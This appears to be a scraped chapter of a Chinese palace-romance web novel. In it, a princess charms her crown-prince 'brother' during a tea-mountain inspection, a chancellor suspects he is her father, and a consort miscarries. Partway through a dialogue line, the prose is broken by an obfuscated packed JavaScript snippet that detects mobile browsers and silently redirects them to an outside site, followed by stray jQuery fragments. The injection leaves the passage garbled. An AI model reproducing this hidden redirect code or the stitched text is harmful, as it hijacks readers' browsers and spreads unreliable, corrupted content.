默认冷灰
24号文字
方正启体

16. 第16章

作者:紫忆南鸢本书字数:K更新时间:
    初夏时节,芒种方过。


    茶是京都的特产,亦是京都百姓的支柱营生,遂朝廷对茶业颇为重视,每年皆会派遣朝廷官员至茶山览省,今日一年一度的茶山览省如期而至,陆枭派太子陆瑾年和宰相谢安拔冗茶山。


    因宁妃祖上曾是皇商,一直做着茶叶营生,而后宁妃之父宁远在她垂髫之年,于春闱高中方走入仕途。遂宁妃入宫前曾是采茶女,耳濡目染下,绾绾亦对茶理颇为精通,此次览省,陆瑾年便特准她一路随行。


    茶山位于京郊,山中层峦叠翠,云雾缭绕。三人在路上行了两个时辰,才抵达京中最大的茶山。


    夏茶初绽,绿意沁人心脾,茶叶清香袅袅。


    按制太子殿下本可乘步辇直上山顶,但陆瑾年见沿途茶农皆在躬身采茶,略一沉吟,便对随行官员道:


    “百姓躬耕劳作,孤岂可安坐辇上?今日便步行上山,也好亲身感受采茶之艰。”


    这番体恤民情之举,自然引得随行众人一片称颂。太子殿下已开口,陆绾绾和谢安只得步行上山。


    清晨的山路崎岖湿滑,晨露未干,众人行走需格外小心。


    方行至一处陡坡,许是舟车劳顿,绾绾脚下一滑,绣鞋踩在松动的碎石上,身子猛地向前倾去!


    “小心!”


    电光火石间,男人健硕有力的长臂揽住了她的纤腰,将少女稳稳地带入怀中。


    雪松香倏地钻入她的鼻尖,陆瑾年低醇的声音袭入耳中,他的关切难以掩饰:


    “路滑,当心些。”


    陆绾绾惊魂未定,心咚咚狂跳,为了不再次跌倒,她只得无力地攀住眼前人。


    两人的距离隔得极近,隔着薄薄的锦袍,皇兄稳健的心跳声清晰入耳。


    美人芙蓉面染满潮红,她慌忙站直身子,似是惊魂未定,她嗓音有些发颤:


    “谢……谢皇兄。”


    见少女脚步不稳,陆瑾年怕她再次跌倒,遂并未即刻松开手,他的目光本落在她绯红的耳尖上,却在不经意间掠过道旁的山茶花丛。


    晨露未晞,洁白的花瓣在薄雾中舒展,清丽脱俗,冰清玉洁。


    这花......倒是像极了怀中人。


    绾绾此刻倚在他怀中,钗斜鬓乱,杏眸中氲着春水,楚楚动人,与这白山茶何其相似,都是那般的惹人怜爱。


    稍顿,他俯身从山茶花丛中折下一支开得最盛的,轻轻簪在少女的鬓边。山茶花莹白如玉,映着她乌黑的鬓,粉白的面,黛色的眉,朱红的唇,更添几分清丽脱俗。


    "人面茶花相映红。"


    他启唇,温热的指腹在她鬓边流连,眼眸深深。


    这一幕,恰好落在奉命随行的宰相谢安眼中。


    他望着绾绾那张与昔年宁妃几乎一模一样的面孔,尤其是那如出一撤的眉眼,心中剧震。


    回忆如潮水般涌来,他与宁妃曾是青梅竹马,他曾许诺宁妃春闱高中后便迎她过门,后宁氏突遇不测,宁远只能把女儿送入宫中参加选秀,他和宁妃的爱情还未开花便落得个劳燕分飞的下场。


    当年,那个如茶花般清丽的女子,也曾在那片茶山上,为他簪过一朵同样的白山茶,笑靥如花地对他说:


    “谢郎,此花如君,清雅高洁。”


    览省途中,绾绾与陆瑾年并肩而行,她细细讲解着各类茶叶的采摘时令、炒制火候。


    少女言辞清晰,见解独到,不仅陆瑾年听得专注,连谢安也暗自惊叹于她对茶道的精深造诣,俨然有当年宁妃之风采,甚至青出于蓝。


    众人方行至半山腰的凉亭暂歇时,绾绾为陆瑾年沏了一杯新茶。


    少女挽起袖子,露出一截雪白纤细的皓腕,素手执壶,水流如练,茶香四溢。


    少顷,她轻轻呈上茶盏,笑如晴雪,轻声道:


    “皇兄,这茶汤清澈透亮,香气清幽,乃是今年新采的‘明前茶’,最是鲜爽。”


    陆瑾年接过茶盏,轻啜一口,点头赞道:


    “确是难得的好茶,绾绾于此道,可谓尽得宁妃娘娘真传。”


    谢安望着绾绾沏茶时低眉敛目的模样,那神态、那容貌,那动作,与记忆中昔年的宁妃渐渐重叠在一起,让他有一瞬的恍惚。


    谢安暗自腹诽:太像了,着实是太像了……


    日暮将近,茶山斜晖半撒,览省结束,众人动身返回东宫。


    京郊小道上,三人同乘一舆,陆瑾年和陆绾绾端坐于一侧,谢安则兀自坐于另一侧。


    舆内只有绾绾一名女眷,她欲为二人斟茶,可她逡巡四周,舆内虽有香茗,却独缺一套茶具,她略带歉意地望向陆瑾年:


    “皇兄,这舆车内虽备了香茗,却未曾备齐茶具,倒是可惜了这新鲜的茶叶。”


    陆瑾年展颜笑道:


    “不急,倘若缺茶具,回府再斟便是。”


    听罢,她略一沉吟,汪汪媚眼中晕开灵动的光,柔声提议道:


    “既无法按常法冲泡,绾绾可否换一种方式为皇兄呈茶?绾绾记得母妃曾教过一种古法‘掌上温茶’,只需借掌心余温,佐以少许清露,便能激发出茶叶最深处的香气。虽不及茶具齐全时斟出的茶香,却也别有一番野趣清韵。”


    陆瑾年闻言,眸中兴味十足,他素知绾绾于茶道上常有奇思,便颔首道:


    “哦?掌上温茶?孤倒是未曾听闻。你且试试。”


    一旁静坐的谢安,在听到“掌上温茶”四字时,执杯的手几不可察地一颤,眸光似有惊涛掠过。


    只因这“掌上温茶”之法,乃是那年上元灯夜,宁儿以掌心暖茶,轻声说‘此法天知地知,你知我知,此生除谢郎外,绝不被第二人知,愿如这茶温,长存你我之心’。


    谢安自然知晓陆绾绾是宁妃之女,亦对先前绾绾被陛下贬为庶人一事略有耳闻。可宁妃何故要将两人的秘密,传于陆绾绾?


    得了皇兄的应允,绾绾展颜弯了弯杏眸。她旋即从锦囊中取出一个玉瓶,柔声解释道:


    “此乃今晨绾绾收集的茶花晨露,甚是清甜。”


    说罢,她小心地将茶叶置于掌心,又滴入几滴花露。


    “皇兄,母妃曾教过绾绾一种独特的炮制方法,名曰‘雪顶含翠’,需在黎明前采摘带露的茶芽,以特殊的手法揉捻、慢火烘焙,制成的茶汤色清亮,香气淡雅悠远,入口甘醇,回味无穷。”


    她抬眼望向他,眉眼间嗔意越发浓郁:


    “此法炮制的茶,母妃说只赠予自己心中的最特殊之人,绾绾想炮制一些,给皇兄品尝。”


    陆瑾年闻言,眼里荡漾着欢喜,温声道:


    “哦?宁妃娘娘的独门秘法?孤倒是很有口福,那便有劳绾绾了。”


    话音刚落,坐于舆车另一侧的宰相谢安,背脊猛地绷直。


    绾绾口中的“雪顶含翠”,以及“只赠予自己心中最特殊之人”的话,宛若一道惊雷在他脑中炸开!


    他清晰地记得,二十年前,宁妃也曾为他炮制过此茶,并说过同样的话!那是他们之间最私密的回忆,连陛下都不曾知晓。


    宁妃竟将此法传授给了绾绾,难道绾绾她……


    思及此,谢安乍然漏了半截呼吸,他慌忙垂首以掩饰失态,心中已是巨浪滔天。


    只因他思绪转了一周,多年前,宁妃归乡省亲,他确实和宁妃有过交集,可他竟从不记得他曾和宁妃有过肌肤之亲,那绾绾又怎会是他和宁妃之女?


    谢安眉间的折痕深了起来,他强压下心中的惊骇与疑惑,不动声色地顺着陆瑾年的话赞道:


    “殿下有此口福,真是令臣羡慕,陆小姐果真兰心蕙质、钟灵毓秀。”


    谢安语气平静,仿佛只是随口一提。


    闻言,陆瑾年眸光凝了半瞬,却并未回应他。


    半晌,陆绾绾探出另一只手,轻轻覆在茶叶上,她双掌合拢,轻柔地包裹住茶叶,而后慢慢揉捻。


    少女眼眉低垂,神情专注,动作间那细白的十指宛如兰花初绽,袖口随着动作微微滑落,露出一截莹白如玉的皓腕。


    陆瑾年的眸光落在她的手指上,舆车空间逼仄,两人并肩而坐,绾绾身上的体香混着茶香,在舆车内悄然弥漫开来,那香味甚是醉人。


    谢安将这一切尽收眼底,眸光中有惊涛掠过,他强自镇定,端起茶盏欲饮,却发现指尖不停地发颤,为掩饰内心深处的翻江倒海,他只得低着头。


    宁妃竟连此等私密之事都传授于她,若绾绾并非陛下血脉,那她的生父又会是谁?


    半晌,绾绾缓缓摊开掌心,只见茶叶已然舒展开来,色泽润绿,香气清幽持久。


    她摊开掌心,将茶叶递至陆瑾年的鼻尖下,又抬眸望他,眉眼间拢着点点希翼:


    “皇兄闻闻,这茶香可还纯正?”


    陆瑾年俯身凑近,灼热的呼吸喷在她掌心,那股茶香蹿入他的鼻尖,混着丝丝缕缕她清雅的体香。


    他喉结微动,望着她清澈如泉的眼,笑道:


    “甚是清香,绾绾还有多少惊喜是孤不知道的?”


    而此时,谢安已然彻底怔住。


    车队在暮色中缓缓驶入京都。


    然而,就在车队甫一抵达太子府,还未等舆车停稳,一阵凄厉的哭喊声便划破了黄昏的宁静。


    只见安良娣的贴身侍女明月连滚带爬地冲过来,屈膝跪于舆前,她脸色惨白如纸,失声恸哭:


    “殿下!殿下!不好了!良娣主子……主子她突然腹痛不止,见红了!”


    闻言,陆绾绾脑中轰的一声,还没等她反应过来,陆瑾年眸色一沉,陡然提声道:


    “速速去碧水苑!”


    听及此,舆车赶忙转头,在离碧水苑最近的太子府偏门前停下,一行人从偏门疾步赶至碧水苑。


    陆绾绾方踏入寝殿,一股浓重的血腥气便扑面而来。内室里人影慌乱,安良娣痛苦的呻吟声断续传来,女医和侍女们纷纷围在榻前,一盆盆鲜红的血水不断从里头端出,触目惊心。


    太子妃一早得了消息就赶了过来,她坐在殿外的软榻上,抬手用帕子捂住嘴,偏过头去,尽量不让自己目睹寝殿内的惨状,殿外宫娥内侍跪了一地。


    其实陆瑾年回府前的一个时辰,安良娣就出事了,整整一个时辰,她的血都没止住,就算太医未开口,众人心中都有数,安良娣此次怕是凶多吉少。


    陆瑾年坐于殿外的榻上,眼眸低垂着,他沉默了半晌,朝底下的人淡淡问道:


    “安良娣怎会如此?”


    明月抬袖捂面痛哭,眼泪止不住地往下掉,失声道:


    "回殿下,太医已仔细查验过良娣主子殿内的所有物品,从熏香到吃食,甚至连妆奁胭脂都一一查过,皆无异样。主子今日的起居饮食也一如往常,实在不知为何会突然……"


    听罢,陆瑾年阖下眼帘,抬手揉了揉胀痛不堪的眼,沉声吩咐道:


    “继续查罢!”


    明月哭得上气不接下气,哽咽:


    “诺,殿下!”


    话毕,陆瑾年又摆手示意她下去。


    明月会意退至一旁。


    恰在此时,太子妃骤然起身,行至陆瑾年身侧,神色凝重道:


    "殿下,安妹妹遭此横祸,臣妾身为东宫之主,难辞其咎,还请殿下放心,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940404|192071||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    臣妾定会彻查此事,还安妹妹一个公道。"


    太子妃话语真诚,眼神却有些飘忽。


    陆瑾年抬眸觑了她一眼,面色沉凝,方才淡淡开口:


    "既如此,此事便交由太子妃彻查,若有需要,可随时调动东宫侍卫协助。"


    "臣妾领命。"


    太子妃微微福身,垂眸掩去眸底复杂的情绪。


    “疼……好疼……啊!”


    安良娣凄惨的哭喊声从内殿透了出来,哀怨的声音中俱是痛苦,听得众人心头发憷。


    见安良娣哭得凄惨,殿外又无一人进去陪她,陆绾绾心头有点儿酸涩,安良娣此刻痛不欲生神智模糊,现在的她最脆弱无助,倘若此时谁施以援手,这种善意的温暖会让她刻骨铭心。


    而陆绾绾要给她的,正是雪中送炭的情谊,因为雪中送炭远比锦上添花来的珍贵!她要拉拢安良娣,眼前正是个绝佳的机会!


    思及至此,她轻轻拽住陆瑾年的袍角,柔声劝道:


    "皇兄,产房血光之气于男子气运有碍,何况皇兄身系国本,更不宜踏入。绾绾一介女流,无甚妨碍,愿代皇兄入内照看安姐姐。"


    少女言辞恳切,杏眸中满是体贴与担忧。陆瑾年闻言微怔,柔和的目光拂过她姣美的面庞,终是颔首:


    "既如此,你且代孤去看看,万事小心。"


    得到应允,陆绾绾立时转身步入内室,方一踏入内室,一股浓重的血腥气就扑面而来,绾绾强忍住恶心,尽量让自己面不改色。


    榻上的安良娣已是气若游丝,她浑身都在发抖,青丝凌乱贴在脸上,身下衾被一片血红,许是疼到极致,她哭得呕心呕肺,模样瞧着甚是凄惨。


    陆绾绾快步上前,坐在榻边,她附身接过女医手中的帕子,动作轻柔地为安良娣擦拭额角的冷汗,柔声安慰道:


    "安姐姐,绾绾在此,你定要撑住……"


    听见绾绾的声音,安良娣牢牢地攥住绾绾的手,痛意传到四肢百骸,她指尖都疼得发颤,眼泪夺眶而出,想开口却只剩嘶哑的气音:


    “好疼……真的好疼,绾绾你说我会不会撑不过去,就这样去了?”


    陆绾绾轻抚她的额,温声对她道:


    “不会的,安姐姐吉人自有天相,一定能抗过去的!”


    安瑶紧攥着身下衾被,捏得指节发白,肩膀亦不停地耸着,空洞的眸中净是绝望,她问:


    “你不嫌我把霉运过给你吗?”


    闻言,绾绾手上的动作未停,反倒将她的手握得更紧了些。绾绾俯身凑近她耳畔,话语坚定:


    "安姐姐说的什么傻话?女子本就不易,如今你遭此大难,绾绾岂有嫌弃之理?若真要说什么霉运,也该是那些暗中作祟的小人承受才是。"


    她边说边接过侍女递来的参汤,小心吹凉,一勺一勺地喂到安良娣唇边:


    "姐姐且放宽心,有太医在,定会保你平安。"


    绾绾做的极有耐心又细致,仿佛与安良娣如同亲姐妹一般。


    整整一个时辰,陆绾绾始终守在榻前,不曾离开半步。


    直至夜深,安良娣的血才终于止住。太医跪在陆瑾年面前,声音沉重:


    "殿下节哀,良娣主子的胎……没能保住。"


    他迟疑片刻,又道:"殿内都已收拾妥当,殿下可要……再看一眼良娣与小公主?五个多月已成形的女胎,眉眼都已清晰。"


    话音刚落,还未等陆瑾年踏入寝殿内,殿外倏然传来一阵急促的脚步声。


    萧寒一身戎装跪在殿外,伏身叩首道:


    "殿下,北疆八百里加急军报,幽州失守,敌军已破关隘!"


    他的语气是前所未有的急迫。


    高无庸后脚就快步进殿,低声禀道:


    "主子,萧将军有要事求见。"


    陆瑾年闻言面色骤沉,眸光倏地寒戾如冰,他甚至连一句解释都无,只对榻上面如金纸的安良娣撂下一句“你好生静养”,便霍然起身,虎步踏出碧水苑的大门。


    “备马,去诏狱!”


    萧寒神色一凛,压低声音急禀:


    “殿下,陛下已下令封锁消息,那通敌的二品大员昨夜已下诏狱,但名册……”


    陆瑾年抬手截断他的话,声音斩钉截铁,不容置喙道:


    “正因名册未得,孤才必须亲自去审,幽州已失,关隘被破,每迟一刻,便有万千将士枉死,至于这里……”


    他连看都没看向内室一眼,只神色漠然地淡淡道了句:


    “太医留在这里,务必保住良娣的性命,若她再有任何闪失,尔等提头来见。”


    说罢,他再未停留,大步流星向外走去。


    榻上的安良娣将才疼昏过去,她方苏醒,恰好将一切尽收眼底。她虚弱地睁着眼,望着那人冰冷凉薄的背影,眼泪顿时失了桎梏。江山社稷面前,他甚至连一句安慰的话都没有,就连假意的关心都吝啬给予。


    她抬手轻抚着平坦的腹部,可身下的痛又怎能与心口的痛相提并论?她蓦地低低笑出了声,笑声凄厉:


    “他竟连看都不愿看我一眼……”


    绾绾呆呆地望着皇兄离去的背影,心头一颤,她下意识地收紧了握着帕子的手。如此凉薄无情之人,倘若不假时日他发现,她只是为了顾郎而诱惑利用他,他会放过她吗?


    她张了张口,想要说些安慰的话,却发现好似喉咙里堵了块尖锐的石头,如何都发不出声音。


    殿外残阳如血,殿内跳跃的烛火明明灭灭,映照着安良娣苍白如纸的面容。她眼中的光彩渐渐黯淡下去,最终化作一片死寂。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)